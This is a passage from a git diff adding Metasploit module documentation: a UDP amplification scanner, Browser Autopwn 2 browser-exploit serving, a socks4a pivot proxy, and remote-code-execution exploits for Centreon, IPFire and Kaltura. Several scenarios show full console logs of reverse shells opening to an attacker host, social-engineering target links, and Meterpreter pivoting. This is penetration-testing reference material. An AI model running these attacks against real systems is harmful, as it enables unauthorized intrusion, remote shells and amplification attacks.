auxiliary/scanner/udp/udp_amplification``` + 3. Do `set RHOSTS [targets]`, replacing ```[targets]``` with the hosts you wish to assess. + 4. Do ```set PORTS [ports]```, replacing ```[ports]``` with the list of UDP ports you wish to assess on each asset. + 5. Optionally, ```set PROBE [probe]```, replacing ```[probe]``` with a string or `file://` resource to serve as the UDP payload + 6. Do: ```run``` + 7. If any of the endpoints were discovered to be vulnerable to UDP amplification with the probe you specified, status will be printed indicating as such. + +## Options + + **PORTS** + + This is the list of ports to test for UDP amplification on each host. + Formats like `1,2,3`, `1-3`, `1,2-3`, etc, are all supported. You'll + generally only want to specify a small, targeted set of ports with an + appropriately tailored `PROBE` value, described below + + **PROBE** + + This is the payload to send in each UDP datagram. Unset or set to the empty + string `''` or `""` to send empty UDP datagrams, or use the `file://` + resource to specify a local file to serve as the UDP payload. + +## Scenarios + + ``` + resource (amp.rc)> use auxiliary/scanner/udp/udp_amplification + resource (amp.rc)> set RHOSTS 10.10.16.0/20 192.168.3.0/23 + RHOSTS => 10.10.16.0/20 192.168.3.0/23 + resource (amp.rc)> set PORTS 17,19,12345 + PORTS => 17,19,12345 + resource (amp.rc)> set THREADS 100 + THREADS => 100 + resource (amp.rc)> set PROBE 'test' + PROBE => test + resource (amp.rc)> run + [*] Sending 4-byte probes to 3 port(s) on 10.10.16.0->10.10.16.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.18.0->10.10.18.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.20.0->10.10.20.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.21.0->10.10.21.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.22.0->10.10.22.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.23.0->10.10.23.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.24.0->10.10.24.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.25.0->10.10.25.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.27.0->10.10.27.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.28.0->10.10.28.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.29.0->10.10.29.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.30.0->10.10.30.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.31.0->10.10.31.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 192.168.3.0->192.168.3.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 192.168.4.0->192.168.4.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.17.0->10.10.17.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.19.0->10.10.19.255 (256 hosts) + [*] Sending 4-byte probes to 3 port(s) on 10.10.26.0->10.10.26.255 (256 hosts) + [*] Scanned 512 of 4608 hosts (11% complete) + [+] 10.10.17.153:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 10.10.20.47:17 - susceptible to UDP amplification: No packet amplification and a 40x, 159-byte bandwidth amplification + [*] Scanned 2560 of 4608 hosts (55% complete) + [+] 10.10.23.199:19 - susceptible to UDP amplification: No packet amplification and a 256x, 1020-byte bandwidth amplification + [+] 10.10.23.248:17 - susceptible to UDP amplification: No packet amplification and a 26x, 103-byte bandwidth amplification + [*] Scanned 3584 of 4608 hosts (77% complete) + [*] Scanned 3840 of 4608 hosts (83% complete) + [+] 10.10.30.202:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [*] Scanned 4096 of 4608 hosts (88% complete) + [+] 192.168.3.64:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 192.168.3.71:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 192.168.3.73:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 192.168.3.77:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 192.168.3.100:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 192.168.3.113:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 192.168.3.118:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [+] 192.168.4.253:19 - susceptible to UDP amplification: 2x packet amplification and a 37x, 144-byte bandwidth amplification + [+] 192.168.3.178:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification + [*] Scanned 4352 of 4608 hosts (94% complete) + [+] 192.168.4.254:19 - susceptible to UDP amplification: 2x packet amplification and a 37x, 144-byte bandwidth amplification + [*] Scanned 4608 of 4608 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + + Similarly, but with empty UDP datagrams instead: + + ``` + resource (amp.rc)> unset PROBE + Unsetting PROBE... + resource (amp.rc)> run + [*] Sending 0-byte probes to 3 port(s) on 10.10.16.0->10.10.16.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.17.0->10.10.17.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.18.0->10.10.18.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.19.0->10.10.19.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.20.0->10.10.20.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.21.0->10.10.21.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.22.0->10.10.22.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.23.0->10.10.23.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.24.0->10.10.24.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.25.0->10.10.25.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.26.0->10.10.26.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.27.0->10.10.27.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.28.0->10.10.28.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.29.0->10.10.29.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.30.0->10.10.30.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 10.10.31.0->10.10.31.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 192.168.3.0->192.168.3.255 (256 hosts) + [*] Sending 0-byte probes to 3 port(s) on 192.168.4.0->192.168.4.255 (256 hosts) + [+] 10.10.17.229:17 - susceptible to UDP amplification: No packet amplification and a 107x, 107-byte bandwidth amplification + [+] 10.10.26.252:19 - susceptible to UDP amplification: No packet amplification and a 3892x, 3892-byte bandwidth amplification + [*] Scanned 4096 of 4608 hosts (88% complete) + [+] 192.168.3.113:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification + [+] 192.168.3.114:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification + [+] 192.168.3.115:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification + [+] 192.168.3.178:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification + [+] 192.168.3.184:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification + [*] Scanned 4352 of 4608 hosts (94% complete) + [+] 192.168.4.253:19 - susceptible to UDP amplification: 2x packet amplification and a 148x, 148-byte bandwidth amplification + [+] 192.168.4.254:19 - susceptible to UDP amplification: 2x packet amplification and a 148x, 148-byte bandwidth amplification + [*] Scanned 4608 of 4608 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md new file mode 100644 index 0000000000..c09b71ff47 --- /dev/null +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -0,0 +1,176 @@ +Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and +feel different for you. Here are the features you should know about before using. + +## Vulnerable Applications + +Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as: + +* Internet Explorer +* Mozilla Firefox +* Adobe Flash +* Java +* ActiveX +* Silverlight + +## Exploit URLs + +Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL +you should send to the targets you wish to attack. + +For debugging purposes, you can also see each browser exploit's specific URL path. You can do so +by setting the VERBOSE option to true in msfconsole, like this: + +``` +set VERBOSE true +``` + +And then when you run the module, there will be a list showing all the exploits that might be +used, including the URLs. + +## Browser Autopwn 2 Options + +**The HTMLContent Option** + +The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a +blank one. It supports two syntaxes. + +This example will basically print "Hello world!" on the browser while exploits are tested against +it. + +``` +set HTMLContent Hello world! +``` + +This example will load file /tmp/hello_world.html and that's what the browser will see. Most likely +the second syntax is how you'd want to use the Content option. + +Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise +there is a possibility that it might actually influence the reliability of the exploits, especially +the ones that do memory corruption. + +**The EXCLUDE_PATTERN option** + +The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser +Autopwn 2 to use. This is a regex type option, you can be creative about this. + +For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with: +"adobe_flash_", so to exclude those, you can do: + +``` +set EXCLUDE_PATTERN adobe_flash +``` + +**The INCLUDE_PATTERN option** + +The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use. +Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do: + +``` +set INCLUDE_PATTERN adobe_flash +``` + +If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick +in first, followed by EXCLUDE_PATTERN. + +**The MaxExploitCount option** + +The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load. +By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits. +Note that by doing so you are also allowing more lower ranking modules to kick in, you will have +to figure out the sweet spot for it. An example of setting it: + +``` +set MaxExploitCount 30 +``` + +**The MaxSessionCount option** + +The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at +first because why would you want to do that, right? Well, a use case for this is when you don't +actually want to pop shells, instead you just want to know what exploits could be used, this is +something you can try. You can also use this if you don't want your attack to stay open the whole +time: + +``` +set MaxSessionCount 10 +``` + +**The ShowExploitList option** + +The ShowExploitList option means displaying a list of exploits specific to each browser/client. +As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to +the browser, only some of them. In order to see those ones, you need to set this option: + +``` +set ShowExploitList true +``` + +**The AllowedAddresses option** + +The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration +testing accidents. For example, when you send a malicious link to a specific person, that person +may actually share it with his friends, family or other people, and those people aren't your +targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to +avoid that is to create a whitelist. + +The option also supports two syntaxes. This is most likely how you will set it: + +``` +set AllowedAddresses file:///tmp/ip_list.txt +``` + +The above will load file ip_list.txt. In that file, one IP per line. + + +**The ExploitReloadTimeout option** + +The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit. +By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to +groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this. +In most cases, you shouldn't have to. + +Here's an example of setting it to 5 seconds: + +``` +set ExploitReloadTimeout 5000 +``` + +## Scenarios + +By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use +different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to +test a specific application, basically all you need to do is setting the +INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN). + +However, there is another trick to make this task even easier. BAP2 also comes with the following +resource scripts that can automatically do this: + +* bap_firefox_only.rc - For testing Firefox +* bap_flash_only.rc - Fore testing Adobe Flash +* bap_ie_only.rc - For testing Internet Explorer +* bap_dryrun_only.rc - Rickrolls the target, and shows you all the suitable exploits against that target. No exploits will actually be fired. + +Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities: + +``` +$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc +``` + +## Logging + +In addition, when a browser connects to BAP, this link-clicking event is also logged to the +database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also +save the exploit list information so that after testing you can go back to the database and see +which users are vulnerable to what exploits. + +Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than +enough to prove that the user was social-engineered, which is still a security risk. + +To see all the bap.clicks events, in msfconsole do: + +``` +notes -t bap.clicks +``` + +From there, you can do additional analysis of these notes, put it on your report, and hopefully +do something about it. diff --git a/documentation/modules/auxiliary/server/socks4a.md b/documentation/modules/auxiliary/server/socks4a.md new file mode 100644 index 0000000000..fcbd5463d9 --- /dev/null +++ b/documentation/modules/auxiliary/server/socks4a.md @@ -0,0 +1,60 @@ +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use auxiliary/server/socks4a` + 3. Do: `run` + 4. Do: `curl --proxy socks4a://localhost:1080 https://github.com` + 5. You should see the source for the Github homepage + +## Options + + **SRVHOST** + + The local IP address to bind the proxy to. The default value of `0.0.0.0` will expose the proxy to everything on the attacker's network. + + **SRVPORT** + + The local port to bind the proxy to. The default value is `1080`, the standard port for a socks4a proxy. + +## Scenarios + + This module is great when pivoting across a network. Suppose we have two machines: + + 1. Attacker's machine, on the `192.168.1.0/24` subnet. + 2. Victim machine with two network interfaces, one attached to the `192.168.1.0/24` subnet and the other attached to the non-routable `10.0.0.0/24` subnet. + + We'll begin by starting the socks4a proxy: + ``` + msf > use auxiliary/server/socks4a + msf auxiliary(socks4a) > run + [*] Auxiliary module execution completed + [*] Starting the socks4a proxy server + msf auxiliary(socks4a) > + ``` + + Preparing to pivot across a network requires us to first establish a Meterpreter session on the victim machine. From there, we can use the `autoroute` script to enable access to the non-routable subnet: + + ``` + meterpreter > run autoroute -s 10.0.0.0/24 + ``` + + The `autoroute` module will enable our local socks4a proxy to direct all traffic to the `10.0.0.0/24` subnet through our Meterpreter session, causing it to emerge from the victim's machine and thus giving us access to the non-routable subnet. We can now use `curl` to connect to a machine on the non-routable subnet via the socks4a proxy: + ``` + curl --proxy socks4a://localhost:1080 http://10.0.0.15:8080/robots.txt + ``` + + We can take this a step further and use proxychains to enable other tools that don't have built-in support for proxies to access the non-routable subnet. The short-and-sweet guide to installing and configuring proxychains looks something like this: + + ``` + # apt-get install proxychains + # cp /etc/proxychains.conf /etc/proxychains.conf.backup + # echo "socks4 127.0.0.1 8080" > /etc/proxychains.conf + ``` + + From there, we can use our other tools by simply prefixing them with `proxychains`: + + ``` + # proxychains curl http://10.0.0.15:8080/robots.txt + # proxychains nmap -sT -Pn -n -p 22 10.0.0.15 + # proxychains firefox + ``` diff --git a/documentation/modules/exploit/linux/http/centreon_useralias_exec.md b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md new file mode 100644 index 0000000000..f9452ae0cd --- /dev/null +++ b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md @@ -0,0 +1,211 @@ +## Vulnerable Application + +1. [Exploit-db](https://www.exploit-db.com/apps/bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz) +2. Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts) + +### Creating A Testing Environment + +Creating a testing environment for this application contained many steps, so I figured I would document the process here. + + 1. Create a fresh install of Ubuntu 16.04. I used a LAMP install. My user was `centreon` + 2. Install php5.6 [askubuntu](http://askubuntu.com/questions/756181/installing-php-5-6-on-xenial-16-04) +``` +sudo apt purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "` +sudo add-apt-repository ppa:ondrej/php +sudo apt-get install php5.6 +sudo apt-get install php5.6-mbstring php5.6-mcrypt php5.6-mysql php5.6-xml php5.6-gd php5.6-ldap php5.6-sqlite3 +sudo apt-get install build-essential cmake librrd-dev libqt4-dev libqt4-sql-mysql libgnutls28-dev python-minimal +sudo apt-get install tofrodos bsd-mailx lsb-release mysql-server libmysqlclient-dev apache2 php-pear rrdtool librrds-perl libconfig-inifiles-perl libcrypt-des-perl libdigest-hmac-perl libgd-gd2-perl snmp snmpd libnet-snmp-perl libsnmp-perl + select OK + select No Configuration +sudo apt-get install snmp-mibs-downloader +``` + 3. Enable php5.6 in Apache with `a2enmod`, disable php7.0 with `a2dismod` +``` +a2enmod php5.6 +a2dismod php7.0 +``` + 4. Restart apache with `sudo apache2ctl restart` + 5. Install [Nagios Plugins](https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/quickstart-ubuntu.html) starting at step 6. The plugins link is broken, utilize [nagios-plugins-2.1.1.tar.gz](http://www.nagios-plugins.org/download/nagios-plugins-2.1.1.tar.gz) instead +``` +wget http://www.nagios-plugins.org/download/nagios-plugins-2.1.1.tar.gz +tar xvf nagios-plugins-2.1.1.tar.gz +cd nagios-plugins-2.1.1/ +./configure +make +sudo make install +``` + 5.1 If during make, you get an sslv3 method not found error (https://support.nagios.com/forum/viewtopic.php?f=35&t=36601&p=168235&hilit=SSLv3#p168235) +``` +--- plugins/sslutils.c.orig 2016-01-14 20:02:06.419867000 +0100 ++++ plugins/sslutils.c 2016-01-14 20:01:36.091492000 +0100 +@@ -70,8 +70,13 @@ +#endif + break; + case 3: /* SSLv3 protocol */ ++#if defined(OPENSSL_NO_SSL3) ++ printf(("%s\n", _("CRITICAL - SSL protocol version 3 is not supported by your SSL library."))); ++ return STATE_CRITICAL; ++#else + method = SSLv3_client_method(); + ssl_options = SSL_OP_NO_SSLv2 | SSL_OP_NO_TLSv1; ++#endif + break; + default: /* Unsupported */ + printf("%s\n", _("CRITICAL - Unsupported SSL protocol version.")); +``` + 6. Install [Centreon clib](https://documentation.centreon.com/docs/centreon-clib/en/latest/installation/index.html) +``` +cd ~ +git clone https://github.com/centreon/centreon-clib +cd centreon-clib/build +cmake . +make +sudo make install +``` + 7. Install [Centreon Broker](https://documentation.centreon.com/docs/centreon-broker/en/2.11/installation/index.html) +``` +cd ~ +git clone https://github.com/centreon/centreon-broker +cd centreon-broker/build/ +cmake -DWITH_STARTUP_DIR=/etc/init.d -DWITH_STARTUP_SCRIPT=sysv . +make +sudo make install +``` + 8. Install [Centreon Engine](https://documentation.centreon.com/docs/centreon-engine/en/latest/installation/index.html) +``` +cd ~ +git clone https://github.com/centreon/centreon-engine +cd centreon-engine/build/ +cmake -DWITH_STARTUP_DIR=/etc/init.d -DWITH_STARTUP_SCRIPT=sysv . +make +sudo make install +``` + 9. Now install [Centreon Web](https://documentation.centreon.com/docs/centreon/en/2.5.x/installation/from_sources.html) but only the command line portion. +``` +sudo mkdir /var/log/centreon-engine +cd ~ +sudo pear install XML_RPC-1.4.5 +(may need to install php-xml) +wget https://www.exploit-db.com/apps/bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz +tar vxf bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz +cd centreon-2.5.3 +sudo ./install.sh -i + + q + y + y + y + y + y + + y + + y + + y + + y + + y + + + + centreon + + /var/log/centreon-engine + /home/centreon/nagios-plugins-2.1.1/plugins + + /etc/init.d/centengine + /usr/local/bin/centengine + /usr/local/etc/ + /usr/local/etc/ + /etc/init.d/centengine + + y + y + y + + y + + + y + y + + y + y + + y + + + y + y +``` + 10. Fix apache config +``` +sudo cp /etc/apache2/conf.d/centreon.conf /etc/apache2/conf-available/ +sudo sed -i 's/Order allow,deny/Require all granted/' /etc/apache2/conf-available/centreon.conf +sudo sed -i 's/allow from all//' /etc/apache2/conf-available/centreon.conf +sudo a2enconf centreon +sudo service apache2 reload +``` + 11. Configure via website. Browse to /centreon +``` +next +next +select centreon-engine + /usr/local/lib/centreon-engine + /usr/local/bin/centenginestats + /usr/local/lib/centreon-engine + /usr/local/lib/centreon-engine + /usr/local/lib/centreon-engine + next +select centreon-broker + /usr/local/lib/centreon-broker + /usr/local/lib/cbmod.so + /usr/local/lib/centreon-broker + /usr/local/lib/centreon-broker + /usr/local/lib/centreon-broker + next +Pick whatever details about your user you want, next +Fill in mysql Root password, next +next +next +finish +``` +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/linux/http/centreon_useralias_exec` + 4. Do: `set payload` + 5. Do: `set rhost` + 6. Do: `check` + 7. Do: ```run``` + 8. You should get a shell. + +## Scenarios + +Just a standard run. + + msf > use exploit/linux/http/centreon_useralias_exec + msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(centreon_useralias_exec) > set lhost 192.168.2.229 + lhost => 192.168.2.229 + msf exploit(centreon_useralias_exec) > set rhost 192.168.2.85 + rhost => 192.168.2.85 + msf exploit(centreon_useralias_exec) > set verbose true + verbose => true + msf exploit(centreon_useralias_exec) > check + [+] Version Detected: 2.5.3 + [*] 192.168.2.85:80 The target appears to be vulnerable. + msf exploit(centreon_useralias_exec) > exploit + [*] Started reverse TCP handler on 192.168.2.229:4444 + [*] Sending malicious login + [*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.85:36792) at 2016-06-11 20:44:57 -0400 + whoami + www-data + uname -a + Linux centreon 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/linux/http/ipfire_bashbug_exec.md b/documentation/modules/exploit/linux/http/ipfire_bashbug_exec.md new file mode 100644 index 0000000000..29df881754 --- /dev/null +++ b/documentation/modules/exploit/linux/http/ipfire_bashbug_exec.md @@ -0,0 +1,42 @@ +## Vulnerable Application + + Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso) + Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts) + +## Verification Steps + + 1. Install the firewall + 2. Start msfconsole + 3. Do: ```use exploit/linux/http/ipfire_bashbug_exec``` + 4. Do: ```set rhost 10.10.10.10``` + 5. Do: ```set PASSWORD admin``` + 6. Do: ```set CMD ls``` + 7. Do: ```run``` + 8. You should see the output of the command that was run. + +## Options + + **PASSWORD** + + Password is set at install. May be blank, 'admin', or 'ipfire'. + + **CMD** + + This is the command to run on the system. + +## Scenarios + + Example of running the ID command + ``` + msf > use exploit/linux/http/ipfire_bashbug_exec + msf exploit(ipfire_bashbug_exec) > set PASSWORD admin + PASSWORD => admin + msf exploit(ipfire_bashbug_exec) > set rhost 192.168.2.202 + rhost => 192.168.2.202 + msf exploit(ipfire_bashbug_exec) > set CMD id + CMD => id + msf exploit(ipfire_bashbug_exec) > exploit + + [+] uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody) + [*] Exploit completed, but no session was created. + ``` diff --git a/documentation/modules/exploit/linux/http/ipfire_proxy_exec.md b/documentation/modules/exploit/linux/http/ipfire_proxy_exec.md new file mode 100644 index 0000000000..3992497ed1 --- /dev/null +++ b/documentation/modules/exploit/linux/http/ipfire_proxy_exec.md @@ -0,0 +1,47 @@ +## Vulnerable Application + + Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core100/ipfire-2.19.x86_64-full-core100.iso) + Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts) + +## Verification Steps + + 1. Install the firewall + 2. Start msfconsole + 3. Do: ```use exploit/linux/http/ipfire_proxy_exec``` + 4. Do: ```set password admin``` or whatever it was set to at install + 5. Do: ```set rhost 10.10.10.10``` + 6. Do: ```set payload cmd/unix/reverse_perl``` + 7. Do: ```set lhost 192.168.2.229``` + 8. Do: ```exploit``` + 9. You should get a shell. + +## Options + + **PASSWORD** + + Password is set at install. May be blank, 'admin', or 'ipfire'. + +## Scenarios + + ``` + msf > use exploit/linux/http/ipfire_proxy_exec + msf exploit(ipfire_proxy_rce) > set password admin + password => admin + msf exploit(ipfire_proxy_rce) > set rhost 192.168.2.201 + rhost => 192.168.2.201 + msf exploit(ipfire_proxy_rce) > set payload cmd/unix/reverse_perl + payload => cmd/unix/reverse_perl + msf exploit(ipfire_proxy_rce) > set verbose true + verbose => true + msf exploit(ipfire_proxy_rce) > set lhost 192.168.2.229 + lhost => 192.168.2.229 + msf exploit(ipfire_proxy_rce) > exploit + + [*] Started reverse TCP handler on 192.168.2.229:4444 + [*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.201:49997) at 2016-05-30 10:09:39 -0400 + + id + uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid) + whoami + nobody + ``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/kaltura_unserialize_rce.md b/documentation/modules/exploit/linux/http/kaltura_unserialize_rce.md new file mode 100644 index 0000000000..042db08cf7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/kaltura_unserialize_rce.md @@ -0,0 +1,147 @@ +## Vulnerable Application + +This module exploits an Object Injection vulnerability in Kaltura. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the context of the web server user. + +Kaltura has a module named keditorservices that takes user input and then uses it as an unserialized function parameter. The constructed object is based on the SektionEins Zend code execution POP chain PoC, with a minor modification to ensure Kaltura processes it and the Zend_Log function's __destruct() method is called. Kaltura versions prior to 11.1.0-2 are affected by this issue. + +**Vulnerable Application Installation Steps** + +Kaltura has their own RPM and/or DEB packages to help us to install it without any issue. Following steps are slightly different than official wiki in order to install the vulnerable packages. + +Following steps are valid on the CentOS 6 x64 bit operating system. + +1. Install CentOS-6 x64 and run `yum update -y` in order to fetch and install the latest packages. Also setting the hostname to something like _kalturahack.dev_ would be wise, because it will be used during Kaltura installation. +2. Disable iptables and selinux. +``` +iptables -F +service iptables stop +chkconfig iptables off +setenforce permissive +(selinux will be enabled on reboot unless editing /etc/selinux/config file.) +``` +3. Install following pre-requisites. +* PHP 5.3.n, 5.4.n, 5.5.n, 5.6.n [the official distro repo version] +* MySQL/MariaDB [the official distro repo version]. Please make sure your MySQL is configured not to enforce strict mode. +* JRE 1.7.n (openjdk can be used) + +4. Install Kaltura yum repo. +``` +rpm -ihv http://installrepo.kaltura.org/releases/kaltura-release.noarch.rpm +``` + +5. Kaltura repo is configured for the latest version by default. We need to change it to one of the vulnerable releases. Thus, open `/etc/yum.repos.d/kaltura.repo` file with your favorite text editor and perform following replacement. + +Original file. (# lines just ignored) +``` +[Kaltura] +name = Kaltura Server +baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/ +gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura +gpgcheck = 1 +enabled = 1 + +[Kaltura-noarch] +name = Kaltura Server arch independent +baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/noarch +gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura +gpgcheck = 1 +enabled = 1 +baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/ +``` +After changes. +``` +[Kaltura] +name = Kaltura Server +baseurl = http://installrepo.kaltura.org/releases/10.10.0/RPMS/$basearch/ +gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura +gpgcheck = 1 +enabled = 1 + +[Kaltura-noarch] +name = Kaltura Server arch independent +baseurl = http://installrepo.kaltura.org/releases/10.10.0/RPMS/noarch +gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura +gpgcheck = 1 +enabled = 1 +baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/ +``` + +6. Install kaltura-server. This will take a while. +``` +yum clean all +yum install kaltura-server +``` + +7. Run the following commands in order to initiate the database and start necessary services. +``` +/opt/kaltura/bin/kaltura-mysql-settings.sh +service memcached restart +service ntpd restart +chkconfig memcached on +chkconfig ntpd on +``` + +8. Start the kaltura configuration script `/opt/kaltura/bin/kaltura-config-all.sh` . + +``` +[Email\NO]: "" +CDN hostname [kalrpm.lcl]: "" +Apache virtual hostname [kalrpm.lcl]: "" +Which port will this Vhost listen on [80]?: + +DB hostname [127.0.0.1]: "<127.0.0.1>" +DB port [3306]: "<3306>" +MySQL super user [this is only for setting the kaltura user passwd and WILL NOT be used with the application]: "" +MySQL super user passwd [this is only for setting the kaltura user passwd and WILL NOT be used with the application]: "" +Analytics DB hostname [127.0.0.1]: "<127.0.0.1>" +Analytics DB port [3306]: "<3306>" +Sphinx hostname [127.0.0.1]: "<127.0.0.1>" + +Secondary Sphinx hostname: [leave empty if none] "" + +VOD packager hostname [kalrpm.lcl]: "" + +VOD packager port to listen on [88]: + +Service URL [http://kalrpm.lcl:80]: "" + +Kaltura Admin user (email address): "" +Admin user login password (must be minimum 8 chars and include at least one of each: upper-case, lower-case, number and a special character): "" +Confirm passwd: "" + +Your time zone [see http://php.net/date.timezone], or press enter for [Europe/Amsterdam]: "" +How would you like to name your system (this name will show as the From field in emails sent by the system) [Kaltura Video Platform]? "" +Your website Contact Us URL [http://corp.kaltura.com/company/contact-us]: "" +'Contact us' phone number [+1 800 871 5224]? "" + +Is your Apache working with SSL?[Y/n] "" +It is recommended that you do work using HTTPs. Would you like to continue anyway?[N/y] "" +Which port will this Vhost listen on? [80] "<80>" +Please select one of the following options [0]: "<0>" +``` + +I do recommend that leaving all default values as is except SSL. You may want to install Kaltura without SSL support. + +These steps are slightly different than following instruction. +[http://kaltura-install-packages.readthedocs.io/en/latest/install-kaltura-redhat-based/](http://kaltura-install-packages.readthedocs.io/en/latest/install-kaltura-redhat-based/) + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/unix/webapp/kaltura_unserialize_rce +msf 